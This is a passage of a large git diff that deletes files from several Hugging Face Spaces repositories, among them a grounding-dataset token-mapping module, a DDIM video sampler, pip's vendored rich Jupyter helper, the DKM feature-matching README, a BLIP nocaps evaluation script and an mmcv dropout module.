-        target["orig_size"] = torch.as_tensor([int(h), int(w)])
-        target["size"] = torch.as_tensor([int(h), int(w)])
-
-        if self.return_tokens and self.tokenizer is not None:
-            if not ignore_box_screen:
-                assert len(target["boxes"]) == len(target["tokens_positive"])
-            tokenized = self.tokenizer(caption, return_tensors="pt",
-                max_length=self.max_query_len,
-                truncation=True)
-            target["positive_map"] = create_positive_map(tokenized, target["tokens_positive"])
-            target['greenlight_map'] = create_greenlight_map(greenlight_span_for_masked_lm_objective,tokenized)
-            target["positive_map_for_od_labels"] = create_positive_map_for_od_labels(tokenized, label_to_positions)
-
-        original_od_label = []
-        for obj in anno:
-            original_od_label.append(
-                obj.get("original_od_label", -10))  # NOTE: The padding value has to be not the same as -1 or -100
-        target["original_od_label"] = torch.as_tensor(original_od_label)
-
-        return image, target
-
-def create_greenlight_map(tok_list, tokenized):
-    # An example tok_list:
-    # [(0, 5), (10, 13), (-1, -1, -1)]
-    # The last one is a special indicator..
-
-    greenlight_map = torch.zeros(256, dtype=torch.float)
-    for item in tok_list:
-        if len(item) != 2:
-            assert(len(item) == 3)
-            # Make everything unmakable
-            greenlight_map[:] = -1
-            break
-
-        beg, end = item
-        beg_pos = tokenized.char_to_token(beg)
-        end_pos = tokenized.char_to_token(end - 1)
-        if beg_pos is None:
-            try:
-                beg_pos = tokenized.char_to_token(beg + 1)
-                if beg_pos is None:
-                    beg_pos = tokenized.char_to_token(beg + 2)
-            except:
-                beg_pos = None
-        if end_pos is None:
-            try:
-                end_pos = tokenized.char_to_token(end - 2)
-                if end_pos is None:
-                    end_pos = tokenized.char_to_token(end - 3)
-            except:
-                end_pos = None
-        if beg_pos is None or end_pos is None:
-            continue
-
-        assert beg_pos is not None and end_pos is not None
-        greenlight_map[beg_pos: end_pos + 1].fill_(1)
-    return greenlight_map
-
-
-def create_positive_map_for_od_labels(tokenized, label_to_positions):
-    """construct a map such that positive_map[i] = j, where j is the object detection label of the token i"""
-    """
-    {3: [1: 5)}
-    256 : -1 3 3 3 3 -1 .. 8 8 ..
-    the woman in the garden
-    -1 -1 -1 -1 -1
-    """
-    positive_map = torch.ones(256, dtype=torch.float) * -1  # -1 means no match
-    keys = list(label_to_positions.keys())
-    for j, key in enumerate(keys):
-        tok_list = label_to_positions[key]
-        # one label only mapps to one location
-        beg, end = tok_list
-        beg_pos = tokenized.char_to_token(beg)
-        end_pos = tokenized.char_to_token(end - 1)
-        if beg_pos is None:
-            try:
-                beg_pos = tokenized.char_to_token(beg + 1)
-                if beg_pos is None:
-                    beg_pos = tokenized.char_to_token(beg + 2)
-            except:
-                beg_pos = None
-        if end_pos is None:
-            try:
-                end_pos = tokenized.char_to_token(end - 2)
-                if end_pos is None:
-                    end_pos = tokenized.char_to_token(end - 3)
-            except:
-                end_pos = None
-        if beg_pos is None or end_pos is None:
-            continue
-        assert beg_pos is not None and end_pos is not None
-        positive_map[beg_pos: end_pos + 1].fill_(key)
-    return positive_map
-
-
-def convert_coco_poly_to_mask(segmentations, height, width):
-    masks = []
-    for polygons in segmentations:
-        rles = coco_mask.frPyObjects(polygons, height, width)
-        mask = coco_mask.decode(rles)
-        if len(mask.shape) < 3:
-            mask = mask[..., None]
-        mask = torch.as_tensor(mask, dtype=torch.uint8)
-        mask = mask.any(dim=2)
-        masks.append(mask)
-    if masks:
-        masks = torch.stack(masks, dim=0)
-    else:
-        masks = torch.zeros((0, height, width), dtype=torch.uint8)
-    return masks
-
-
-def create_positive_map(tokenized, tokens_positive):
-    """construct a map such that positive_map[i,j] = True iff box i is associated to token j"""
-    positive_map = torch.zeros((len(tokens_positive), 256), dtype=torch.float)
-
-    for j, tok_list in enumerate(tokens_positive):
-        for (beg, end) in tok_list:
-            beg_pos = tokenized.char_to_token(beg)
-            end_pos = tokenized.char_to_token(end - 1)
-            if beg_pos is None:
-                try:
-                    beg_pos = tokenized.char_to_token(beg + 1)
-                    if beg_pos is None:
-                        beg_pos = tokenized.char_to_token(beg + 2)
-                except:
-                    beg_pos = None
-            if end_pos is None:
-                try:
-                    end_pos = tokenized.char_to_token(end - 2)
-                    if end_pos is None:
-                        end_pos = tokenized.char_to_token(end - 3)
-                except:
-                    end_pos = None
-            if beg_pos is None or end_pos is None:
-                continue
-
-            assert beg_pos is not None and end_pos is not None
-            positive_map[j, beg_pos: end_pos + 1].fill_(1)
-    return positive_map / (positive_map.sum(-1)[:, None] + 1e-6)
-
-
-def pil_loader(path, retry=5):
-    # open path as file to avoid ResourceWarning (https://github.com/python-pillow/Pillow/issues/835)
-    ri = 0
-    while ri < retry:
-        try:
-            with open(path, 'rb') as f:
-                img = Image.open(f)
-                return img.convert('RGB')
-        except:
-            ri += 1
diff --git a/spaces/Rahorus/openjourney/README.md b/spaces/Rahorus/openjourney/README.md
deleted file mode 100644
index b5a128b9cd7ca63138735bf5134be5a0253cf0c0..0000000000000000000000000000000000000000
--- a/spaces/Rahorus/openjourney/README.md
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: openjourney
-emoji: 👀
-colorFrom: gray
-colorTo: green
-sdk: gradio
-sdk_version: 3.10.1
-app_file: app.py
-pinned: false
-duplicated_from: akhaliq/openjourney
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
diff --git a/spaces/RamAnanth1/videocrafter/lvdm/samplers/ddim.py b/spaces/RamAnanth1/videocrafter/lvdm/samplers/ddim.py
deleted file mode 100644
index cae8e324f6d99b41fcc655ed3ecb940a2127bef4..0000000000000000000000000000000000000000
--- a/spaces/RamAnanth1/videocrafter/lvdm/samplers/ddim.py
+++ /dev/null
@@ -1,267 +0,0 @@
-"""SAMPLING ONLY."""
-
-import torch
-import numpy as np
-from tqdm import tqdm
-
-from lvdm.models.modules.util import make_ddim_sampling_parameters, make_ddim_timesteps, noise_like
-
-
-class DDIMSampler(object):
-    def __init__(self, model, schedule="linear", **kwargs):
-        super().__init__()
-        self.model = model
-        self.ddpm_num_timesteps = model.num_timesteps
-        self.schedule = schedule
-        self.counter = 0
-
-    def register_buffer(self, name, attr):
-        if type(attr) == torch.Tensor:
-            if attr.device != torch.device("cuda"):
-                attr = attr.to(torch.device("cuda"))
-        setattr(self, name, attr)
-
-    def make_schedule(self, ddim_num_steps, ddim_discretize="uniform", ddim_eta=0., verbose=True):
-        self.ddim_timesteps = make_ddim_timesteps(ddim_discr_method=ddim_discretize, num_ddim_timesteps=ddim_num_steps,
-                                                  num_ddpm_timesteps=self.ddpm_num_timesteps,verbose=verbose)
-        alphas_cumprod = self.model.alphas_cumprod
-        assert alphas_cumprod.shape[0] == self.ddpm_num_timesteps, 'alphas have to be defined for each timestep'
-        to_torch = lambda x: x.clone().detach().to(torch.float32).to(self.model.device)
-
-        self.register_buffer('betas', to_torch(self.model.betas))
-        self.register_buffer('alphas_cumprod', to_torch(alphas_cumprod))
-        self.register_buffer('alphas_cumprod_prev', to_torch(self.model.alphas_cumprod_prev))
-
-        # calculations for diffusion q(x_t | x_{t-1}) and others
-        self.register_buffer('sqrt_alphas_cumprod', to_torch(np.sqrt(alphas_cumprod.cpu())))
-        self.register_buffer('sqrt_one_minus_alphas_cumprod', to_torch(np.sqrt(1. - alphas_cumprod.cpu())))
-        self.register_buffer('log_one_minus_alphas_cumprod', to_torch(np.log(1. - alphas_cumprod.cpu())))
-        self.register_buffer('sqrt_recip_alphas_cumprod', to_torch(np.sqrt(1. / alphas_cumprod.cpu())))
-        self.register_buffer('sqrt_recipm1_alphas_cumprod', to_torch(np.sqrt(1. / alphas_cumprod.cpu() - 1)))
-
-        # ddim sampling parameters
-        ddim_sigmas, ddim_alphas, ddim_alphas_prev = make_ddim_sampling_parameters(alphacums=alphas_cumprod.cpu(),
-                                                                                   ddim_timesteps=self.ddim_timesteps,
-                                                                                   eta=ddim_eta,verbose=verbose)
-        self.register_buffer('ddim_sigmas', ddim_sigmas)
-        self.register_buffer('ddim_alphas', ddim_alphas)
-        self.register_buffer('ddim_alphas_prev', ddim_alphas_prev)
-        self.register_buffer('ddim_sqrt_one_minus_alphas', np.sqrt(1. - ddim_alphas))
-        sigmas_for_original_sampling_steps = ddim_eta * torch.sqrt(
-            (1 - self.alphas_cumprod_prev) / (1 - self.alphas_cumprod) * (
-                        1 - self.alphas_cumprod / self.alphas_cumprod_prev))
-        self.register_buffer('ddim_sigmas_for_original_num_steps', sigmas_for_original_sampling_steps)
-
-    @torch.no_grad()
-    def sample(self,
-               S,
-               batch_size,
-               shape,
-               conditioning=None,
-               callback=None,
-               img_callback=None,
-               quantize_x0=False,
-               eta=0.,
-               mask=None,
-               x0=None,
-               temperature=1.,
-               noise_dropout=0.,
-               score_corrector=None,
-               corrector_kwargs=None,
-               verbose=True,
-               schedule_verbose=False,
-               x_T=None,
-               log_every_t=100,
-               unconditional_guidance_scale=1.,
-               unconditional_conditioning=None,
-               postprocess_fn=None,
-               sample_noise=None,
-               cond_fn=None,
-               # this has to come in the same format as the conditioning, # e.g. as encoded tokens, ...
-               **kwargs
-               ):
-        
-        # check condition bs
-        if conditioning is not None:
-            if isinstance(conditioning, dict):
-                try:
-                    cbs = conditioning[list(conditioning.keys())[0]].shape[0]
-                    if cbs != batch_size:
-                        print(f"Warning: Got {cbs} conditionings but batch-size is {batch_size}")
-                except:
-                    # cbs = conditioning[list(conditioning.keys())[0]][0].shape[0]
-                    pass
-            else:
-                if conditioning.shape[0] != batch_size:
-                    print(f"Warning: Got {conditioning.shape[0]} conditionings but batch-size is {batch_size}")
-
-        self.make_schedule(ddim_num_steps=S, ddim_eta=eta, verbose=schedule_verbose)
-        
-        # make shape
-        if len(shape) == 3:
-            C, H, W = shape
-            size = (batch_size, C, H, W)
-        elif len(shape) == 4:
-            C, T, H, W = shape
-            size = (batch_size, C, T, H, W)
-        
-        samples, intermediates = self.ddim_sampling(conditioning, size,
-                                                    callback=callback,
-                                                    img_callback=img_callback,
-                                                    quantize_denoised=quantize_x0,
-                                                    mask=mask, x0=x0,
-                                                    ddim_use_original_steps=False,
-                                                    noise_dropout=noise_dropout,
-                                                    temperature=temperature,
-                                                    score_corrector=score_corrector,
-                                                    corrector_kwargs=corrector_kwargs,
-                                                    x_T=x_T,
-                                                    log_every_t=log_every_t,
-                                                    unconditional_guidance_scale=unconditional_guidance_scale,
-                                                    unconditional_conditioning=unconditional_conditioning,
-                                                    postprocess_fn=postprocess_fn,
-                                                    sample_noise=sample_noise,
-                                                    cond_fn=cond_fn,
-                                                    verbose=verbose,
-                                                    **kwargs
-                                                    )
-        return samples, intermediates
-
-    @torch.no_grad()
-    def ddim_sampling(self, cond, shape,
-                      x_T=None, ddim_use_original_steps=False,
-                      callback=None, timesteps=None, quantize_denoised=False,
-                      mask=None, x0=None, img_callback=None, log_every_t=100,
-                      temperature=1., noise_dropout=0., score_corrector=None, corrector_kwargs=None,
-                      unconditional_guidance_scale=1., unconditional_conditioning=None,
-                      postprocess_fn=None,sample_noise=None,cond_fn=None,
-                      uc_type=None, verbose=True, **kwargs,
-                      ):
-
-        device = self.model.betas.device
-        
-        b = shape[0]
-        if x_T is None:
-            img = torch.randn(shape, device=device)
-        else:
-            img = x_T
-        
-        if timesteps is None:
-            timesteps = self.ddpm_num_timesteps if ddim_use_original_steps else self.ddim_timesteps
-        elif timesteps is not None and not ddim_use_original_steps:
-            subset_end = int(min(timesteps / self.ddim_timesteps.shape[0], 1) * self.ddim_timesteps.shape[0]) - 1
-            timesteps = self.ddim_timesteps[:subset_end]
-        intermediates = {'x_inter': [img], 'pred_x0': [img]}
-        time_range = reversed(range(0,timesteps)) if ddim_use_original_steps else np.flip(timesteps)
-        total_steps = timesteps if ddim_use_original_steps else timesteps.shape[0]
-        if verbose:
-            iterator = tqdm(time_range, desc='DDIM Sampler', total=total_steps)
-        else:
-            iterator = time_range
-
-        for i, step in enumerate(iterator):
-            index = total_steps - i - 1
-            ts = torch.full((b,), step, device=device, dtype=torch.long)
-
-            if postprocess_fn is not None:
-                img = postprocess_fn(img, ts)
-            
-            outs = self.p_sample_ddim(img, cond, ts, index=index, use_original_steps=ddim_use_original_steps,
-                                      quantize_denoised=quantize_denoised, temperature=temperature,
-                                      noise_dropout=noise_dropout, score_corrector=score_corrector,
-                                      corrector_kwargs=corrector_kwargs,
-                                      unconditional_guidance_scale=unconditional_guidance_scale,
-                                      unconditional_conditioning=unconditional_conditioning,
-                                      sample_noise=sample_noise,cond_fn=cond_fn,uc_type=uc_type, **kwargs,)
-            img, pred_x0 = outs
-
-            if mask is not None:
-                # use mask to blend x_known_t-1 & x_sample_t-1
-                assert x0 is not None
-                x0 = x0.to(img.device)
-                mask = mask.to(img.device)
-                t = torch.tensor([step-1]*x0.shape[0], dtype=torch.long, device=img.device)
-                img_known = self.model.q_sample(x0, t)
-                img = img_known * mask + (1. - mask) * img
-            
-            if callback: callback(i)
-            if img_callback: img_callback(pred_x0, i)
-
-            if index % log_every_t == 0 or index == total_steps - 1:
-                intermediates['x_inter'].append(img)
-                intermediates['pred_x0'].append(pred_x0)
-
-        return img, intermediates
-
-    @torch.no_grad()
-    def p_sample_ddim(self, x, c, t, index, repeat_noise=False, use_original_steps=False, quantize_denoised=False,
-                      temperature=1., noise_dropout=0., score_corrector=None, corrector_kwargs=None,
-                      unconditional_guidance_scale=1., unconditional_conditioning=None, sample_noise=None,
-                      cond_fn=None, uc_type=None, 
-                      **kwargs,
-                      ):
-        b, *_, device = *x.shape, x.device
-        if x.dim() == 5:
-            is_video = True
-        else:
-            is_video = False
-        if unconditional_conditioning is None or unconditional_guidance_scale == 1.:
-            e_t = self.model.apply_model(x, t, c, **kwargs) # unet denoiser
-        else:
-            # with unconditional condition
-            if isinstance(c, torch.Tensor):
-                e_t = self.model.apply_model(x, t, c, **kwargs)
-                e_t_uncond = self.model.apply_model(x, t, unconditional_conditioning, **kwargs)
-            elif isinstance(c, dict):
-                e_t = self.model.apply_model(x, t, c, **kwargs)
-                e_t_uncond = self.model.apply_model(x, t, unconditional_conditioning, **kwargs)
-            else:
-                raise NotImplementedError
-            # text cfg
-            if uc_type is None:
-                e_t = e_t_uncond + unconditional_guidance_scale * (e_t - e_t_uncond)
-            else:
-                if uc_type == 'cfg_original':
-                    e_t = e_t + unconditional_guidance_scale * (e_t - e_t_uncond)
-                elif uc_type == 'cfg_ours':
-                    e_t = e_t + unconditional_guidance_scale * (e_t_uncond - e_t)
-                else:
-                    raise NotImplementedError
-            
-        if score_corrector is not None:
-            assert self.model.parameterization == "eps"
-            e_t = score_corrector.modify_score(self.model, e_t, x, t, c, **corrector_kwargs)
-
-        alphas = self.model.alphas_cumprod if use_original_steps else self.ddim_alphas
-        alphas_prev = self.model.alphas_cumprod_prev if use_original_steps else self.ddim_alphas_prev
-        sqrt_one_minus_alphas = self.model.sqrt_one_minus_alphas_cumprod if use_original_steps else self.ddim_sqrt_one_minus_alphas
-        sigmas = self.model.ddim_sigmas_for_original_num_steps if use_original_steps else self.ddim_sigmas
-        # select parameters corresponding to the currently considered timestep
-        
-        if is_video:
-            size = (b, 1, 1, 1, 1)
-        else:
-            size = (b, 1, 1, 1)
-        a_t = torch.full(size, alphas[index], device=device)
-        a_prev = torch.full(size, alphas_prev[index], device=device)
-        sigma_t = torch.full(size, sigmas[index], device=device)
-        sqrt_one_minus_at = torch.full(size, sqrt_one_minus_alphas[index],device=device)
-
-        # current prediction for x_0
-        pred_x0 = (x - sqrt_one_minus_at * e_t) / a_t.sqrt()
-        # print(f't={t}, pred_x0, min={torch.min(pred_x0)}, max={torch.max(pred_x0)}',file=f)
-        if quantize_denoised:
-            pred_x0, _, *_ = self.model.first_stage_model.quantize(pred_x0)
-        # direction pointing to x_t
-        dir_xt = (1. - a_prev - sigma_t**2).sqrt() * e_t
-        
-        if sample_noise is None:
-            noise = sigma_t * noise_like(x.shape, device, repeat_noise) * temperature
-            if noise_dropout > 0.:
-                noise = torch.nn.functional.dropout(noise, p=noise_dropout)
-        else:
-            noise = sigma_t * sample_noise * temperature
-        
-        x_prev = a_prev.sqrt() * pred_x0 + dir_xt + noise
-        
-        return x_prev, pred_x0
diff --git a/spaces/Raspberry-ai/main/.env/lib/python3.11/site-packages/pip/_vendor/rich/jupyter.py b/spaces/Raspberry-ai/main/.env/lib/python3.11/site-packages/pip/_vendor/rich/jupyter.py
deleted file mode 100644
index 22f4d716ac9764ee18005b9b852946d614152375..0000000000000000000000000000000000000000
--- a/spaces/Raspberry-ai/main/.env/lib/python3.11/site-packages/pip/_vendor/rich/jupyter.py
+++ /dev/null
@@ -1,101 +0,0 @@
-from typing import TYPE_CHECKING, Any, Dict, Iterable, List, Sequence
-
-if TYPE_CHECKING:
-    from pip._vendor.rich.console import ConsoleRenderable
-
-from . import get_console
-from .segment import Segment
-from .terminal_theme import DEFAULT_TERMINAL_THEME
-
-if TYPE_CHECKING:
-    from pip._vendor.rich.console import ConsoleRenderable
-
-JUPYTER_HTML_FORMAT = """\
-<pre style="white-space:pre;overflow-x:auto;line-height:normal;font-family:Menlo,'DejaVu Sans Mono',consolas,'Courier New',monospace">{code}</pre>
-"""
-
-
-class JupyterRenderable:
-    """A shim to write html to Jupyter notebook."""
-
-    def __init__(self, html: str, text: str) -> None:
-        self.html = html
-        self.text = text
-
-    def _repr_mimebundle_(
-        self, include: Sequence[str], exclude: Sequence[str], **kwargs: Any
-    ) -> Dict[str, str]:
-        data = {"text/plain": self.text, "text/html": self.html}
-        if include:
-            data = {k: v for (k, v) in data.items() if k in include}
-        if exclude:
-            data = {k: v for (k, v) in data.items() if k not in exclude}
-        return data
-
-
-class JupyterMixin:
-    """Add to an Rich renderable to make it render in Jupyter notebook."""
-
-    __slots__ = ()
-
-    def _repr_mimebundle_(
-        self: "ConsoleRenderable",
-        include: Sequence[str],
-        exclude: Sequence[str],
-        **kwargs: Any,
-    ) -> Dict[str, str]:
-        console = get_console()
-        segments = list(console.render(self, console.options))
-        html = _render_segments(segments)
-        text = console._render_buffer(segments)
-        data = {"text/plain": text, "text/html": html}
-        if include:
-            data = {k: v for (k, v) in data.items() if k in include}
-        if exclude:
-            data = {k: v for (k, v) in data.items() if k not in exclude}
-        return data
-
-
-def _render_segments(segments: Iterable[Segment]) -> str:
-    def escape(text: str) -> str:
-        """Escape html."""
-        return text.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;")
-
-    fragments: List[str] = []
-    append_fragment = fragments.append
-    theme = DEFAULT_TERMINAL_THEME
-    for text, style, control in Segment.simplify(segments):
-        if control:
-            continue
-        text = escape(text)
-        if style:
-            rule = style.get_html_style(theme)
-            text = f'<span style="{rule}">{text}</span>' if rule else text
-            if style.link:
-                text = f'<a href="{style.link}" target="_blank">{text}</a>'
-        append_fragment(text)
-
-    code = "".join(fragments)
-    html = JUPYTER_HTML_FORMAT.format(code=code)
-
-    return html
-
-
-def display(segments: Iterable[Segment], text: str) -> None:
-    """Render segments to Jupyter."""
-    html = _render_segments(segments)
-    jupyter_renderable = JupyterRenderable(html, text)
-    try:
-        from IPython.display import display as ipython_display
-
-        ipython_display(jupyter_renderable)
-    except ModuleNotFoundError:
-        # Handle the case where the Console has force_jupyter=True,
-        # but IPython is not installed.
-        pass
-
-
-def print(*args: Any, **kwargs: Any) -> None:
-    """Proxy for Console print."""
-    console = get_console()
-    return console.print(*args, **kwargs)
diff --git a/spaces/Realcat/image-matching-webui/third_party/DKM/README.md b/spaces/Realcat/image-matching-webui/third_party/DKM/README.md
deleted file mode 100644
index c68fbfaf848e5c2a64adc308351aad38f94b0830..0000000000000000000000000000000000000000
--- a/spaces/Realcat/image-matching-webui/third_party/DKM/README.md
+++ /dev/null
@@ -1,117 +0,0 @@
-# DKM: Dense Kernelized Feature Matching for Geometry Estimation
-### [Project Page](https://parskatt.github.io/DKM) | [Paper](https://arxiv.org/abs/2202.00667)
-<br/>
-
-> DKM: Dense Kernelized Feature Matching for Geometry Estimation  
-> [Johan Edstedt](https://scholar.google.com/citations?user=Ul-vMR0AAAAJ), [Ioannis Athanasiadis](https://scholar.google.com/citations?user=RCAtJgUAAAAJ), [Mårten Wadenbäck](https://scholar.google.com/citations?user=6WRQpCQAAAAJ), [Michael Felsberg](https://scholar.google.com/citations?&user=lkWfR08AAAAJ)  
-> CVPR 2023
-
-## How to Use?
-<details>
-Our model produces a dense (for all pixels) warp and certainty.
-
-Warp: [B,H,W,4] for all images in batch of size B, for each pixel HxW, we ouput the input and matching coordinate in the normalized grids [-1,1]x[-1,1].
-
-Certainty: [B,H,W] a number in each pixel indicating the matchability of the pixel.
-
-See [demo](dkm/demo/) for two demos of DKM.
-
-See [api.md](docs/api.md) for API.
-</details>
-
-## Qualitative Results
-<details>
-
-https://user-images.githubusercontent.com/22053118/223748279-0f0c21b4-376a-440a-81f5-7f9a5d87483f.mp4
-
-
-https://user-images.githubusercontent.com/22053118/223748512-1bca4a17-cffa-491d-a448-96aac1353ce9.mp4
-
-
-
-https://user-images.githubusercontent.com/22053118/223748518-4d475d9f-a933-4581-97ed-6e9413c4caca.mp4
-
-
-
-https://user-images.githubusercontent.com/22053118/223748522-39c20631-aa16-4954-9c27-95763b38f2ce.mp4
-
-
-</details>
-
-
-
-## Benchmark Results
-
-<details>
-
-### Megadepth1500
-
-|       | @5    | @10  | @20  |
-|-------|-------|------|------|
-| DKMv1 | 54.5  | 70.7 | 82.3 |
-| DKMv2 | *56.8*  | *72.3* | *83.2* |
-| DKMv3 (paper) | **60.5**  | **74.9** | **85.1** |
-| DKMv3 (this repo) | **60.0**  | **74.6** | **84.9** |
-
-### Megadepth 8 Scenes
-|       | @5    | @10  | @20  |
-|-------|-------|------|------|
-| DKMv3 (paper) | **60.5**  | **74.5** | **84.2** |
-| DKMv3 (this repo) | **60.4**  | **74.6** | **84.3** |
-
-
-### ScanNet1500
-|       | @5    | @10  | @20  |
-|-------|-------|------|------|
-| DKMv1 | 24.8  | 44.4 | 61.9 |
-| DKMv2 | *28.2*  | *49.2* | *66.6* |
-| DKMv3 (paper) | **29.4**  | **50.7** | **68.3** |
-| DKMv3 (this repo) | **29.8**  | **50.8** | **68.3** |
-
-</details>
-
-## Navigating the Code
-* Code for models can be found in [dkm/models](dkm/models/)
-* Code for benchmarks can be found in [dkm/benchmarks](dkm/benchmarks/)
-* Code for reproducing experiments from our paper can be found in [experiments/](experiments/)
-
-## Install
-Run ``pip install -e .``
-
-## Demo
-
-A demonstration of our method can be run by:
-``` bash
-python demo_match.py
-```
-This runs our model trained on mega on two images taken from Sacre Coeur.
-
-## Benchmarks
-See [Benchmarks](docs/benchmarks.md) for details.
-## Training
-See [Training](docs/training.md) for details.
-## Reproducing Results
-Given that the required benchmark or training dataset has been downloaded and unpacked, results can be reproduced by running the experiments in the experiments folder.
-
-## Using DKM matches for estimation
-We recommend using the excellent Graph-Cut RANSAC algorithm: https://github.com/danini/graph-cut-ransac
-
-|       | @5    | @10  | @20  |
-|-------|-------|------|------|
-| DKMv3 (RANSAC) | *60.5*  | *74.9* | *85.1* |
-| DKMv3 (GC-RANSAC) | **65.5**  | **78.0** | **86.7** |
-
-
-## Acknowledgements
-We have used code and been inspired by https://github.com/PruneTruong/DenseMatching, https://github.com/zju3dv/LoFTR, and https://github.com/GrumpyZhou/patch2pix. We additionally thank the authors of ECO-TR for providing their benchmark.
-
-## BibTeX
-If you find our models useful, please consider citing our paper!
-```
-@inproceedings{edstedt2023dkm,
-title={{DKM}: Dense Kernelized Feature Matching for Geometry Estimation},
-author={Edstedt, Johan and Athanasiadis, Ioannis and Wadenbäck, Mårten and Felsberg, Michael},
-booktitle={IEEE Conference on Computer Vision and Pattern Recognition},
-year={2023}
-}
-```
diff --git a/spaces/Redgon/bingo/src/components/providers.tsx b/spaces/Redgon/bingo/src/components/providers.tsx
deleted file mode 100644
index 892226412d80fe0b05211911b9e245cd22876460..0000000000000000000000000000000000000000
--- a/spaces/Redgon/bingo/src/components/providers.tsx
+++ /dev/null
@@ -1,15 +0,0 @@
-'use client'
-
-import * as React from 'react'
-import { ThemeProvider as NextThemesProvider } from 'next-themes'
-import { ThemeProviderProps } from 'next-themes/dist/types'
-
-import { TooltipProvider } from '@/components/ui/tooltip'
-
-export function Providers({ children, ...props }: ThemeProviderProps) {
-  return (
-    <NextThemesProvider {...props}>
-      <TooltipProvider>{children}</TooltipProvider>
-    </NextThemesProvider>
-  )
-}
diff --git a/spaces/RichardMB1217/blip/eval_nocaps.py b/spaces/RichardMB1217/blip/eval_nocaps.py
deleted file mode 100644
index 3cbb09a8cc7771605c013583d721aa95d9413b42..0000000000000000000000000000000000000000
--- a/spaces/RichardMB1217/blip/eval_nocaps.py
+++ /dev/null
@@ -1,118 +0,0 @@
-'''
- * Copyright (c) 2022, salesforce.com, inc.
- * All rights reserved.
- * SPDX-License-Identifier: BSD-3-Clause
- * For full license text, see LICENSE.txt file in the repo root or https://opensource.org/licenses/BSD-3-Clause
- * By Junnan Li
-'''
-import argparse
-import os
-import ruamel_yaml as yaml
-import numpy as np
-import random
-import time
-import datetime
-import json
-from pathlib import Path
-
-import torch
-import torch.nn as nn
-import torch.nn.functional as F
-import torch.backends.cudnn as cudnn
-import torch.distributed as dist
-from torch.utils.data import DataLoader
-
-from models.blip import blip_decoder
-import utils
-from data import create_dataset, create_sampler, create_loader
-from data.utils import save_result
-
-@torch.no_grad()
-def evaluate(model, data_loader, device, config):
-    # evaluate
-    model.eval() 
-    
-    metric_logger = utils.MetricLogger(delimiter="  ")
-    header = 'Evaluation:'
-    print_freq = 10
-
-    result = []
-    for image, image_id in metric_logger.log_every(data_loader, print_freq, header): 
-        
-        image = image.to(device)       
-        
-        captions = model.generate(image, sample=False, num_beams=config['num_beams'], max_length=config['max_length'], 
-                                  min_length=config['min_length'], repetition_penalty=1.1)
-        
-        for caption, img_id in zip(captions, image_id):
-            result.append({"image_id": img_id.item(), "caption": caption})
-  
-    return result
-
-
-def main(args, config):
-    utils.init_distributed_mode(args)    
-    
-    device = torch.device(args.device)
-
-    # fix the seed for reproducibility
-    seed = args.seed + utils.get_rank()
-    torch.manual_seed(seed)
-    np.random.seed(seed)
-    random.seed(seed)
-    cudnn.benchmark = True
-
-    #### Dataset #### 
-    print("Creating captioning dataset")
-    val_dataset, test_dataset = create_dataset('nocaps', config)  
-
-    if args.distributed:
-        num_tasks = utils.get_world_size()
-        global_rank = utils.get_rank()            
-        samplers = create_sampler([val_dataset,test_dataset], [False,False], num_tasks, global_rank)         
-    else:
-        samplers = [None,None]
-    
-    val_loader, test_loader = create_loader([val_dataset, test_dataset],samplers, 
-                                            batch_size=[config['batch_size']]*2,num_workers=[4,4],
-                                            is_trains=[False, False], collate_fns=[None,None])        
-
-    #### Model #### 
-    print("Creating model")
-    model = blip_decoder(pretrained=config['pretrained'], image_size=config['image_size'], vit=config['vit'], 
-                           prompt=config['prompt'])
-
-    model = model.to(device)   
-    
-    model_without_ddp = model
-    if args.distributed:
-        model = torch.nn.parallel.DistributedDataParallel(model, device_ids=[args.gpu])
-        model_without_ddp = model.module    
-    
-    val_result = evaluate(model_without_ddp, val_loader, device, config)  
-    val_result_file = save_result(val_result, args.result_dir, 'val', remove_duplicate='image_id')   
-    test_result = evaluate(model_without_ddp, test_loader, device, config)  
-    test_result_file = save_result(test_result, args.result_dir, 'test', remove_duplicate='image_id') 
-
-
-if __name__ == '__main__':
-    parser = argparse.ArgumentParser()
-    parser.add_argument('--config', default='./configs/nocaps.yaml')
-    parser.add_argument('--output_dir', default='output/NoCaps')        
-    parser.add_argument('--device', default='cuda')
-    parser.add_argument('--seed', default=42, type=int)
-    parser.add_argument('--world_size', default=1, type=int, help='number of distributed processes')    
-    parser.add_argument('--dist_url', default='env://', help='url used to set up distributed training')
-    parser.add_argument('--distributed', default=True, type=bool)
-    args = parser.parse_args()
-
-    config = yaml.load(open(args.config, 'r'), Loader=yaml.Loader)
-
-    args.result_dir = os.path.join(args.output_dir, 'result')
-
-    Path(args.output_dir).mkdir(parents=True, exist_ok=True)
-    Path(args.result_dir).mkdir(parents=True, exist_ok=True)
-        
-    yaml.dump(config, open(os.path.join(args.output_dir, 'config.yaml'), 'w'))    
-    
-    main(args, config)
\ No newline at end of file
diff --git a/spaces/Robert001/UniControl-Demo/annotator/uniformer/mmcv/arraymisc/__init__.py b/spaces/Robert001/UniControl-Demo/annotator/uniformer/mmcv/arraymisc/__init__.py
deleted file mode 100644
index 4b4700d6139ae3d604ff6e542468cce4200c020c..0000000000000000000000000000000000000000
--- a/spaces/Robert001/UniControl-Demo/annotator/uniformer/mmcv/arraymisc/__init__.py
+++ /dev/null
@@ -1,4 +0,0 @@
-# Copyright (c) OpenMMLab. All rights reserved.
-from .quantization import dequantize, quantize
-
-__all__ = ['quantize', 'dequantize']
diff --git a/spaces/Robert001/UniControl-Demo/annotator/uniformer_base/mmcv/cnn/bricks/drop.py b/spaces/Robert001/UniControl-Demo/annotator/uniformer_base/mmcv/cnn/bricks/drop.py
deleted file mode 100644
index b7b4fccd457a0d51fb10c789df3c8537fe7b67c1..0000000000000000000000000000000000000000
--- a/spaces/Robert001/UniControl-Demo/annotator/uniformer_base/mmcv/cnn/bricks/drop.py
+++ /dev/null
@@ -1,65 +0,0 @@
-# Copyright (c) OpenMMLab. All rights reserved.
-import torch
-import torch.nn as nn
-
-from annotator.uniformer.mmcv import build_from_cfg
-from .registry import DROPOUT_LAYERS
-
-
-def drop_path(x, drop_prob=0., training=False):
-    """Drop paths (Stochastic Depth) per sample (when applied in main path of
-    residual blocks).
-
-    We follow the implementation
-    https://github.com/rwightman/pytorch-image-models/blob/a2727c1bf78ba0d7b5727f5f95e37fb7f8866b1f/timm/models/layers/drop.py  # noqa: E501
-    """
-    if drop_prob == 0. or not training:
-        return x
-    keep_prob = 1 - drop_prob
